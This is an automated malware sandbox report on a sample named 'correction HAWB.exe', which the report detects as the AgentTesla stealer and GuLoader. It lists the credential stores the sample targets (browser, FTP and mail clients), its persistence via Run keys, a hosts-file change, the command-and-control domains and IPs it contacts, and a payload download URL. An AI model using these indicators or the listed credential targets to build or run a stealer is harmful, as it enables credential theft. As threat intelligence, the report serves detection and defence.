Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	Queries volume information: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Modifies the hosts file

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5796, type: MEMORYSTR

GuLoader behavior detected

Show sources

Source: Initial file

Signature Results: GuLoader behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Source: Yara match	File source: 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5796, type: MEMORYSTR

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5796, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	DLL Side-Loading1	DLL Side-Loading1	File and Directory Permissions Modification1	OS Credential Dumping2	File and Directory Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Registry Run Keys / Startup Folder1	Process Injection112	Disable or Modify Tools1	Credentials in Registry1	System Information Discovery115	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel21	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Registry Run Keys / Startup Folder1	Deobfuscate/Decode Files or Information1	Security Account Manager	Security Software Discovery421	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information3	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Virtualization/Sandbox Evasion341	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol23	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading1	Cached Domain Credentials	Application Window Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion341	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection112	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Hidden Files and Directories1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
correction HAWB.exe	26%	Virustotal		Browse
correction HAWB.exe	24%	ReversingLabs	Win32.Trojan.Mucc

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	0%	Metadefender		Browse
C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	0%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
cselegance.com	5%	Virustotal		Browse
windowsupdate.s.llnwi.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	Avira URL Cloud	safe
https://xgdZXmEGQW.orgt-~l	0%	Avira URL Cloud	safe
http://JgQKqy.com	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	Avira URL Cloud	safe
http://mail.cselegance.com	0%	Avira URL Cloud	safe
https://xgdZXmEGQW.org(6	0%	Avira URL Cloud	safe
http://cselegance.com	0%	Avira URL Cloud	safe
https://xgdZXmEGQW.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cselegance.com	116.0.120.83	true	true	5%, Virustotal, Browse	unknown
windowsupdate.s.llnwi.net	178.79.242.0	true	false	0%, Virustotal, Browse	unknown
drive.google.com	172.217.168.46	true	false		high
googlehosted.l.googleusercontent.com	142.250.185.97	true	false		high
doc-08-28-docs.googleusercontent.com	unknown	unknown	false		high
mail.cselegance.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doc-08-28-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8h8uio1dqpn5ahgfavoi7o8vnkc5qp90/1634122275000/16524389560697724177/*/1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrB?e=download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://xgdZXmEGQW.orgt-~l	RegAsm.exe, 0000000C.00000002.5779515273.000000001DD22000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://JgQKqy.com	RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-08-28-docs.googleusercontent.com/doc	RegAsm.exe, 0000000C.00000003.1513881162.0000000000E42000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	RegAsm.exe, 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	RegAsm.exe, 0000000C.00000002.5750988193.0000000000DB8000.00000004.00000020.sdmp	false		high
http://mail.cselegance.com	RegAsm.exe, 0000000C.00000002.5780921850.000000001DD9E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-08-28-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8h8uio1d	RegAsm.exe, 0000000C.00000003.1509950713.0000000000E42000.00000004.00000001.sdmp	false		high
https://doc-08-28-docs.googleusercontent.com/2	RegAsm.exe, 0000000C.00000002.5752371234.0000000000E01000.00000004.00000020.sdmp	false		high
https://xgdZXmEGQW.org(6	RegAsm.exe, 0000000C.00000002.5779515273.000000001DD22000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://support.google.com/chrome/?p=plugin_flash	RegAsm.exe, 0000000C.00000002.5778351743.000000001DCD1000.00000004.00000001.sdmp	false		high
http://cselegance.com	RegAsm.exe, 0000000C.00000002.5780921850.000000001DD9E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-08-28-docs.googleusercontent.com/d	RegAsm.exe, 0000000C.00000002.5752371234.0000000000E01000.00000004.00000020.sdmp	false		high
https://xgdZXmEGQW.org	RegAsm.exe, 0000000C.00000002.5779515273.000000001DD22000.00000004.00000001.sdmp, RegAsm.exe, 0000000C.00000003.2451512819.000000001C871000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.168.46	drive.google.com	United States	15169	GOOGLEUS	false
116.0.120.83	cselegance.com	Malaysia	24218	GTC-MY-PIP-ASGlobalTransitCommunications-MalaysiaMY	true
142.250.185.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	1638
Start date:	13.10.2021
Start time:	12:48:37
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	correction HAWB.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.spre.troj.adwa.spyw.evad.winEXE@8/6@3/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 96% Number of executed functions: 86 Number of non-executed functions: 9
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MusNotification.exe, dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe, MusNotificationUx.exe Excluded IPs from analysis (whitelisted): 20.82.207.122, 20.54.122.82, 52.109.76.32, 20.54.89.15, 40.125.122.151, 20.54.89.106, 20.199.120.151, 20.50.102.62, 92.123.195.73, 92.123.195.35, 2.21.140.114, 20.73.194.208, 40.126.31.139, 40.126.31.143, 40.126.31.4, 40.126.31.135, 20.190.159.138, 20.190.159.134, 40.126.31.137, 20.190.159.136, 20.199.120.182, 8.253.207.120, 8.248.139.254, 67.27.158.254, 8.248.143.254, 8.248.113.254 Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, slscr.update.microsoft.com, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, fe3.delivery.dsp.mp.microsoft.com.nsatc.net, wns.notify.trafficmanager.net, login.live.com, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, slscr.update.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, sls.update.microsoft.com.akadns.net, wu-shim.trafficmanager.net, wd-prod-cp-eu-north-2-fe.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, wdcp.microsoft.com, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, wd-prod-cp.trafficmanager.net, prod.nexusrules.live.com.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, settingsfd-geo.trafficmanager.net, wd-prod-cp-eu-north-1-fe.northeurope.cloudapp.azure.com, sls.emea.update.microsoft.com.akadns.net, wdcpalt.microsoft.com, fe3.delivery.mp.microsoft.com, nexusrules.officeapps.live.com, www.tm.lg.prod.aadmsa.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:50:20	Task Scheduler	Run new task: Intel PTT EK Recertification path: "C:\Windows\System32\DriverStore\FileRepository\iclsclient.inf_amd64_75ffca5eec865b4b\lib\IntelPTTEKRecertification.exe"
12:52:00	API Interceptor	2419x Sleep call for process: RegAsm.exe modified
12:52:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run tKZVPq C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
12:52:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run tKZVPq C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
116.0.120.83	BANK IN SLIP.pdf	Get hash	malicious	Browse	www.printkaler.com.my/favicon.ico

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
windowsupdate.s.llnwi.net	correction HAWB.exe	Get hash	malicious	Browse	178.79.242.0
	Statement of Account.exe	Get hash	malicious	Browse	178.79.242.128
	Statement of Account.exe	Get hash	malicious	Browse	178.79.242.128
	jh6KzwrXQp.exe	Get hash	malicious	Browse	178.79.242.0
	heX1kOkwqy.exe	Get hash	malicious	Browse	178.79.242.0
	mixsix_20211013-084409.exe	Get hash	malicious	Browse	178.79.242.0
	2rd Quater Order Quotation.zip.xls	Get hash	malicious	Browse	178.79.242.128
	DOC REC EIPT.html	Get hash	malicious	Browse	178.79.242.128
	Efe-8 GPP Project Steel Pipe Tender.exe	Get hash	malicious	Browse	178.79.242.128
	emil.franchi@global.com #Ud83d#Udce0 VGX47BBSBJ44838.HTM	Get hash	malicious	Browse	178.79.242.128
	DHL Lieferschein,pdf.exe	Get hash	malicious	Browse	178.79.242.128
	Payment_MT103.exe	Get hash	malicious	Browse	178.79.242.0
	Doc-CS3.exe	Get hash	malicious	Browse	178.79.242.128
	SecuriteInfo.com.Suspicious.Win32.Save.a.28039.exe	Get hash	malicious	Browse	178.79.242.0
	oG3zl54AA5.exe	Get hash	malicious	Browse	178.79.242.128
	dNlT8STqLN.exe	Get hash	malicious	Browse	178.79.242.128
	Revised Quotation F657.exe	Get hash	malicious	Browse	178.79.242.0
	Quotation Request.pdf.exe	Get hash	malicious	Browse	178.79.242.0
	Proof of payment.jpg.exe	Get hash	malicious	Browse	178.79.242.128
	vk5MXd2Rxm.msi	Get hash	malicious	Browse	178.79.242.0

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GTC-MY-PIP-ASGlobalTransitCommunications-MalaysiaMY	WIRE ADVICE.exe	Get hash	malicious	Browse	116.0.120.83
	Foreign_Bank Account Details.exe	Get hash	malicious	Browse	116.0.120.83
	Swift USD 9300.exe	Get hash	malicious	Browse	116.0.120.83
	SOA.exe	Get hash	malicious	Browse	116.0.120.83
	1isequal9.arm	Get hash	malicious	Browse	119.110.34.185
	QBRBgWkN8h	Get hash	malicious	Browse	203.223.199.78
	sora.x86	Get hash	malicious	Browse	203.223.223.183
	sora.arm	Get hash	malicious	Browse	119.110.144.54
	AmEquities_base.apk	Get hash	malicious	Browse	202.76.231.160
	s886FbF8oJ	Get hash	malicious	Browse	119.110.16.131
	StyBaUxNYq	Get hash	malicious	Browse	119.110.16.163
	AmEquities_v2.6.1_UAT.apk	Get hash	malicious	Browse	202.76.231.160
	com.n2nconnect.ammultilogin.stock.apk	Get hash	malicious	Browse	202.76.231.160
	BANK IN SLIP.pdf	Get hash	malicious	Browse	116.0.120.83

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	UZWdHg3hWA.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	LBJiq1QBaH.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	Statement of Account.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	ZAM#U00d3WIENIE.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	Potvrda narudzbe u prilogu.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	art-1881052385.xls	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	184285013-044310-sanlccjavap0003-7069_pdf (5).exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	DOC 10132021.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	WIRE ADVICE.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	WireCopy.html	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	UGS2021100716241.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	RFQ_Project 20211012 thyssenkrupp Industrial Solutions AG 6000358077_PDF.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	WireCopy.html	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	Rust_hack_v6.4.2_x64_stable.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	0810202 import Inquiry ref- November order 2021.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	Document-10122021 81258 PM.html	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	ajjVYRO.vbs	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	IMG-pic 0699821.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	HJmXSL9b6P.exe	Get hash	malicious	Browse	172.217.168.46 142.250.185.97
	WAYBILL.EXE	Get hash	malicious	Browse	172.217.168.46 142.250.185.97

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe	DOC 10132021.exe	Get hash	malicious	Browse
	WIRE ADVICE.exe	Get hash	malicious	Browse
	Foreign_Bank Account Details.exe	Get hash	malicious	Browse
	SOA.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.961905.21681.exe	Get hash	malicious	Browse
	Swift USD 9300.exe	Get hash	malicious	Browse
	SOA.exe	Get hash	malicious	Browse
	justificante.exe	Get hash	malicious	Browse
	Facilitative8.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\tKZVPq.exe.log Download File
Process:	C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	65440
Entropy (8bit):	6.049806962480652
Encrypted:	false
SSDEEP:	768:X8XcJiMjm2ieHlPyCsSuJbn8dBhFwlSMF6Iq8KSYDKbQ22qWqO8w1R:rYMaNylPYSAb8dBnsHsPDKbQBqTY
MD5:	0D5DF43AF2916F47D00C1573797C1A13
SHA1:	230AB5559E806574D26B4C20847C368ED55483B0
SHA-256:	C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC
SHA-512:	F96CF9E1890746B12DAF839A6D0F16F062B72C1B8A40439F96583F242980F10F867720232A6FA0F7D4D7AC0A7A6143981A5A130D6417EA98B181447134C7CFE2
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: DOC 10132021.exe, Detection: malicious, Browse Filename: WIRE ADVICE.exe, Detection: malicious, Browse Filename: Foreign_Bank Account Details.exe, Detection: malicious, Browse Filename: SOA.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Variant.Razy.961905.21681.exe, Detection: malicious, Browse Filename: Swift USD 9300.exe, Detection: malicious, Browse Filename: SOA.exe, Detection: malicious, Browse Filename: justificante.exe, Detection: malicious, Browse Filename: Facilitative8.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0.............^.... ........@.. ....................... .......F....`.....................................O.......8................A........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc..............................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P.....0.."........(......-.r...p.rI..p(....s....z....0..........(....~P.....o........(....n(.....(..........%...(....~(.....(..........%...%...(.....(.....(..........%...%...%...(....V.(......}Q.....}R.....{Q.....{R......0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o .....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......

C:\Windows\System32\drivers\etc\hosts Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	835
Entropy (8bit):	4.694294591169137
Encrypted:	false
SSDEEP:	24:QWDZh+ragzMZfuMMs1L/JU5fFCkK8T1rTt8:vDZhyoZWM9rU5fFcP
MD5:	6EB47C1CF858E25486E42440074917F2
SHA1:	6A63F93A95E1AE831C393A97158C526A4FA0FAAE
SHA-256:	9B13A3EA948A1071A81787AAC1930B89E30DF22CE13F8FF751F31B5D83E79FFB
SHA-512:	08437AB32E7E905EB11335E670CDD5D999803390710ED39CBC31A2D3F05868D5D0E5D051CCD7B06A85BB466932F99A220463D27FAC29116D241E8ADAC495FA2F
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....127.0.0.1

\Device\ConDrv Download File
Process:	C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	4.286073681226177
Encrypted:	false
SSDEEP:	24:z3d3+DO/0XZd3Wo3opQ5ZKBQFYVgt7ovrNOYlK:zNODBXZxo4ABV+SrUYE
MD5:	402278578416001C915480C7040F2964
SHA1:	B4833865ECE3609EC213509D4AB7D7A195C00753
SHA-256:	86E0747C9B54AA9AACB788589E70E19279DF13F1393795E689342AF3302912E1
SHA-512:	473600FBC051B22E9E7A6FBE1694ED736CF90DE5A8DF92AF1FA9A85DDD97379CFF0E8A5DF89937AE083BEBEFC81C407A907D0FB5ED9019BEDF6FB4703838321B
Malicious:	false
Preview:	Microsoft .NET Framework Assembly Registration Utility version 4.8.4084.0..for Microsoft .NET Framework version 4.8.4084.0..Copyright (C) Microsoft Corporation. All rights reserved.....Syntax: RegAsm AssemblyName [Options]..Options:.. /unregister Unregister types.. /tlb[:FileName] Export the assembly to the specified type library.. and register it.. /regfile[:FileName] Generate a reg file with the specified name.. instead of registering the types. This option.. cannot be used with the /u or /tlb options.. /codebase Set the code base in the registry.. /registered Only refer to already registered type libraries.. /asmpath:Directory Look for assembly references here.. /nologo Prevents RegAsm from displaying logo.. /silent Silent mode. Prevents displaying of success messages.. /verbose Displays extra information..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.269963148035969
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	correction HAWB.exe
File size:	139264
MD5:	a4ef1695bddce6530a28e0d72ae7f8c4
SHA1:	3905f0749e1c55ad4d8fb2a1969cf3f74bc0aeb4
SHA256:	64939ef2abe9b397b1f99bb4ba00c7e49be75f14013647c8e0605fb5fdb3b14b
SHA512:	8d29dfd66c896cfa378c4828f55b65f03d99091058d74214ce16f0a1592fbced48963424b9c526b8176d2cdd9f229477d9e54b9762e349576af5742a1aeb9578
SSDEEP:	1536:b60o3DE9DAGxjVgGRye1a8/RCqnDc2zp9f91pgSvcXvgsuY6FqJZ8wYut55mhLB:u0o36MBEyydnDjg4kIut5M
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L...9e.T.....................`......h.............@.............B..

File Icon


Icon Hash:	20047c7c70f0e004

Static PE Info

General
Entrypoint:	0x401868
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x54E06539 [Sun Feb 15 09:22:01 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c727a98e677fb7bd25bb06d2a2d956f1

Entrypoint Preview

Instruction
push 004106B8h
call 00007F8E48945725h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, bh
into
outsd
push ecx
mov cs, word ptr [ebx]
sbb byte ptr [ebx-4Ch], al
outsd
cmpsb
xchg eax, esi
xchg ch, bl
push edi
mov dword ptr [eax], 00000000h
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+64h], dl
adc al, 03h
inc ebx
popad
insb
popad
outsb
outsd
aaa
add byte ptr [eax], cl
inc ecx
add byte ptr [eax], ah
or byte ptr [ecx+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
dec esp
xor dword ptr [eax], eax
and eax, dword ptr [ebx]
and byte ptr [edi+66h], ch
mov dword ptr [B1468212h], eax
